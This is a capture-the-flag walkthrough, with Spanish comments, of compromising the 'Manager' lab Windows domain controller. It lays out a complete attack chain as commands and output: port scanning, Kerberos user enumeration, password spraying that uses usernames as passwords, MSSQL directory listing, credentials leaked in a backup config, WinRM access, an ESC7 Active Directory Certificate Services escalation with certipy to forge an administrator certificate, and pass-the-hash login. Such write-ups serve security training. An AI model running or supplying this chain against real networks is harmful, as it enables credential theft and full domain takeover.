Manager

nmap

```
nmap -sC -sV 10.10.11.236
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-04 12:30 CET
Nmap scan report for 10.10.11.236
Host is up (0.17s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Manager
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-04 18:30:12Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-04T18:31:36+00:00; +6h59m18s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2024-03-04T18:31:37+00:00; +6h59m18s from scanner time.
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.236:1433: 
|     Target_Name: MANAGER
|     NetBIOS_Domain_Name: MANAGER
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: manager.htb
|     DNS_Computer_Name: dc01.manager.htb
|     DNS_Tree_Name: manager.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2024-03-04T18:31:36+00:00; +6h59m18s from scanner time.
| ms-sql-info: 
|   10.10.11.236:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-02-28T12:02:32
|_Not valid after:  2054-02-28T12:02:32
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-03-04T18:31:36+00:00; +6h59m18s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2024-03-04T18:31:37+00:00; +6h59m18s from scanner time.
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-03-04T18:31:00
```

```
|_  start_date: N/A
|_clock-skew: mean: 6h59m17s, deviation: 0s, median: 6h59m17s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.91 seconds
```

#Usaremos masscan para enumerar los puertos.

```
masscan -p1-65535,U:1-65535 10.10.11.236 --rate=1000 -e tun0
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-03-04 11:41:30 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 53/tcp on 10.10.11.236
Discovered open port 80/tcp on 10.10.11.236
Discovered open port 445/tcp on 10.10.11.236
Discovered open port 88/tcp on 10.10.11.236
Discovered open port 9389/tcp on 10.10.11.236
Discovered open port 3269/tcp on 10.10.11.236
Discovered open port 49671/tcp on 10.10.11.236
Discovered open port 5985/tcp on 10.10.11.236
Discovered open port 1433/tcp on 10.10.11.236
Discovered open port 464/tcp on 10.10.11.236
Discovered open port 135/tcp on 10.10.11.236
Discovered open port 49669/tcp on 10.10.11.236
Discovered open port 593/tcp on 10.10.11.236
Discovered open port 389/tcp on 10.10.11.236
Discovered open port 50487/tcp on 10.10.11.236
Discovered open port 49731/tcp on 10.10.11.236
Discovered open port 139/tcp on 10.10.11.236
Discovered open port 56082/tcp on 10.10.11.236
Discovered open port 636/tcp on 10.10.11.236
Discovered open port 49667/tcp on 10.10.11.236
Discovered open port 53/udp on 10.10.11.236
Discovered open port 3268/tcp on 10.10.11.236
Discovered open port 49670/tcp on 10.10.11.236
```

kerbrute

#Descargamos la herramienta “kerbrute”.
https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64

```
./kerbrute_linux_amd64 userenum -d manager.htb /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt --dc dc01.manager.htb


    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 03/04/24 - Ronnie Flathers @ropnop

2024/03/04 12:54:56 >  Using KDC(s):
2024/03/04 12:54:56 >   dc01.manager.htb:88

2024/03/04 12:55:02 >  [+] VALID USERNAME:       ryan@manager.htb
2024/03/04 12:55:12 >  [+] VALID USERNAME:       guest@manager.htb
2024/03/04 12:55:15 >  [+] VALID USERNAME:       cheng@manager.htb
2024/03/04 12:55:20 >  [+] VALID USERNAME:       raven@manager.htb
2024/03/04 12:55:44 >  [+] VALID USERNAME:       administrator@manager.htb
2024/03/04 12:56:38 >  [+] VALID USERNAME:       Ryan@manager.htb
2024/03/04 12:56:45 >  [+] VALID USERNAME:       Raven@manager.htb
2024/03/04 12:57:12 >  [+] VALID USERNAME:       operator@manager.htb
```

#Guardaremos los usuarios en un fichero llamado usuarios.txt

usernames.txt

```
ryan@manager.htb
guest@manager.htb
cheng@manager.htb
raven@manager.htb
administrator@manager.htb
Ryan@manager.htb
operator@manager.htb
```

#Ya tenemos posibles usuarios.
#Efectuaremos un ataque de SMB con crackmapexec.

```
crackmapexec smb 10.10.11.236 -u usernames.txt -p usernames.txt --no-brute --continue-on-success
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing RDP protocol database
[*] Initializing SMB protocol database
[*] Initializing FTP protocol database
[*] Initializing WINRM protocol database
[*] Initializing SSH protocol database
[*] Initializing MSSQL protocol database
[*] Initializing LDAP protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\ryan@manager.htb:ryan@manager.htb
SMB         10.10.11.236    445    DC01             [+] manager.htb\guest@manager.htb:guest@manager.htb
SMB         10.10.11.236    445    DC01             [+] manager.htb\cheng@manager.htb:cheng@manager.htb
SMB         10.10.11.236    445    DC01             [+] manager.htb\raven@manager.htb:raven@manager.htb
SMB         10.10.11.236    445    DC01             [+] manager.htb\administrator@manager.htb:administrator@manager.htb
SMB         10.10.11.236    445    DC01             [+] manager.htb\Ryan@manager.htb:Ryan@manager.htb
SMB         10.10.11.236    445    DC01             [+] manager.htb\operator@manager.htb:operator@manager.htb
```

impacket-mssqlclient

```
impacket-mssqlclient -port 1433 manager.htb/operator:operator@10.10.11.236 -window
```

```
Impacket v0.12.0.dev1+20231114.165227.4b56c18a - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (MANAGER\Operator  guest@master)> show *
ERROR: Line 1: Incorrect syntax near '*'.
SQL (MANAGER\Operator  guest@master)> show *;
ERROR: Line 1: Incorrect syntax near '*'.
SQL (MANAGER\Operator  guest@master)> EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;
subdirectory                      depth   file
-------------------------------   -----   ----
about.html                            1      1

contact.html                          1      1

css                                   1      0

images                                1      0

index.html                            1      1

js                                    1      0

service.html                          1      1

web.config                            1      1

website-backup-27-07-23-old.zip       1      1

SQL (MANAGER\Operator  guest@master)>
```

#Podemos ver un fichero llamado website_backup.
#Lo descargamos con wget.

```
 wget http://manager.htb/website-backup-27-07-23-old.zip
--2024-03-04 13:32:16--  http://manager.htb/website-backup-27-07-23-old.zip
Resolving manager.htb (manager.htb)... 10.10.11.236
Connecting to manager.htb (manager.htb)|10.10.11.236|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1045328 (1021K) [application/x-zip-compressed]
Saving to: ‘website-backup-27-07-23-old.zip’

website-backup-27-07-23-old.zip   100%
[=================================================================>]   1021K  62.4KB/s    in 19s

2024-03-04 13:32:36 (54.1 KB/s) - ‘website-backup-27-07-23-old.zip’ saved [1045328/1045328]
```

#Lo descomprimimos con unzip.

```
unzip website-backup-27-07-23-old.zip
Archive:  website-backup-27-07-23-old.zip
  inflating: .old-conf.xml
  inflating: about.html
  inflating: contact.html
  inflating: css/bootstrap.css
  inflating: css/responsive.css
  inflating: css/style.css
  inflating: css/style.css.map
  inflating: css/style.scss
  inflating: images/about-img.png
  inflating: images/body_bg.jpg
 extracting: images/call.png
 extracting: images/call-o.png
  inflating: images/client.jpg
  inflating: images/contact-img.jpg
 extracting: images/envelope.png
 extracting: images/envelope-o.png
  inflating: images/hero-bg.jpg
 extracting: images/location.png
 extracting: images/location-o.png
 extracting: images/logo.png
  inflating: images/menu.png
 extracting: images/next.png
 extracting: images/next-white.png
  inflating: images/offer-img.jpg
  inflating: images/prev.png
 extracting: images/prev-white.png
 extracting: images/quote.png
 extracting: images/s-1.png
 extracting: images/s-2.png
 extracting: images/s-3.png
 extracting: images/s-4.png
 extracting: images/search-icon.png
  inflating: index.html
  inflating: js/bootstrap.js
  inflating: js/jquery-3.4.1.min.js
  inflating: service.html

  #Vemos una configuración antigua.
  cat .old-conf.xml
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <server>
      <host>dc01.manager.htb</host>
      <open-port enabled="true">389</open-port>
      <secure-port enabled="false">0</secure-port>
      <search-base>dc=manager,dc=htb</search-base>
      <server-type>microsoft</server-type>
      <access-user>
         <user>raven@manager.htb</user>
         <password>R4v3nBe5tD3veloP3r!123</password>
      </access-user>
      <uid-attribute>cn</uid-attribute>
   </server>
   <search type="full">
      <dir-list>
         <dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
      </dir-list>
   </search>
</ldap-conf>
```

```
#Tenemos credenciales.
user → raven@manager.htb
passwd →  R4v3nBe5tD3veloP3r!123
```

evil-winrm

```
evil-winrm -i 10.10.11.236 -u Raven
Enter Password:

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this
machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Raven\Documents>

*Evil-WinRM* PS C:\Users\Raven\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

#Buscamos informacción sobre certify
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries.git

#Nos descargamos el binario de Certify, para suirlo al servidor.
#Ejecutamos el cerify.

```
*Evil-WinRM* PS C:\Users\Raven\Documents> ./Certify.exe find /vulnerable


   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=manager,DC=htb'

[*] Listing info about the Enterprise CA 'manager-DC01-CA'

    Enterprise CA Name            : manager-DC01-CA
    DNS Hostname                  : dc01.manager.htb
    FullName                      : dc01.manager.htb\manager-DC01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=manager-DC01-CA, DC=manager, DC=htb
    Cert Thumbprint               : ACE850A2892B1614526F7F2151EE76E752415023
    Cert Serial                   : 5150CE6EC048749448C7390A52F264BB
    Cert Start Date               : 7/27/2023 3:21:05 AM
    Cert End Date                 : 7/27/2122 3:31:04 AM
    Cert Chain                    : CN=manager-DC01-CA,DC=manager,DC=htb
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Deny   ManageCA, Read                             MANAGER\Operator              S-1-5-21-4078382237-1492182817-2568127209-1119
      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               MANAGER\Domain Admins
S-1-5-21-4078382237-1492182817-2568127209-512
      Allow  ManageCA, ManageCertificates               MANAGER\Enterprise Admins     S-1-5-21-4078382237-1492182817-2568127209-519
      Allow  ManageCA, Enroll                           MANAGER\Raven                 S-1-5-21-4078382237-1492182817-2568127209-1116
      Allow  Enroll                                     MANAGER\Operator              S-1-5-21-4078382237-1492182817-2568127209-1119
    Enrollment Agent Restrictions : None

[+] No Vulnerable Certificates Templates found!



Certify completed in 00:00:03.7329566
```

#Aquí noté que el usuario raven ha permitido administrar CA (certificados).
#Indica que debe haber ADCS (Servicios de certificado de Active Directory) en ejecución y que es vulnerable con vulnerabilidades ESC7.
#Usaremos certipy para la escalación de privilegios

priv_escalation

```
#Tenemos expicado este ataque de ticket en hacktrick.
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation

certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' && certipy-ad ca -ca 'manager-DC01-CA' -enable-template SubCA -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' && certipy-ad req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -template SubCA -upn 'administrator@manager.htb' && certipy-ad ca -ca 'manager-DC01-CA' -issue-request 61 -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' && certipy-ad req -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -retrieve 61
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 61
Would you like to save the private key? (y/N) y
[*] Saved private key to 61.key
[-] Failed to request certificate
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 61
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '61.key'
[*] Saved certificate and private key to 'administrator.pfx'

#Sincronizamos la hora con el servidor.
ntpdate 10.10.11.236
2024-03-08 07:08:51.766897 (+0100) +25191.176842 +/- 0.056859 10.10.11.236 s1 no-leap
CLOCK: time stepped by 25191.176842

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.236
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef

 hash-identifier
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef

Possible Hashs:
[+] md5($pass.$salt) - Joomla
```

#Creackeamos el hash con hashcat.
#Realmente, no es necesario crackear el hash.

```
evil-winrm -i 10.10.11.236 -u administrator -H "ae5064c2f62317332c88629e025924ef"

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
manager\administrator
```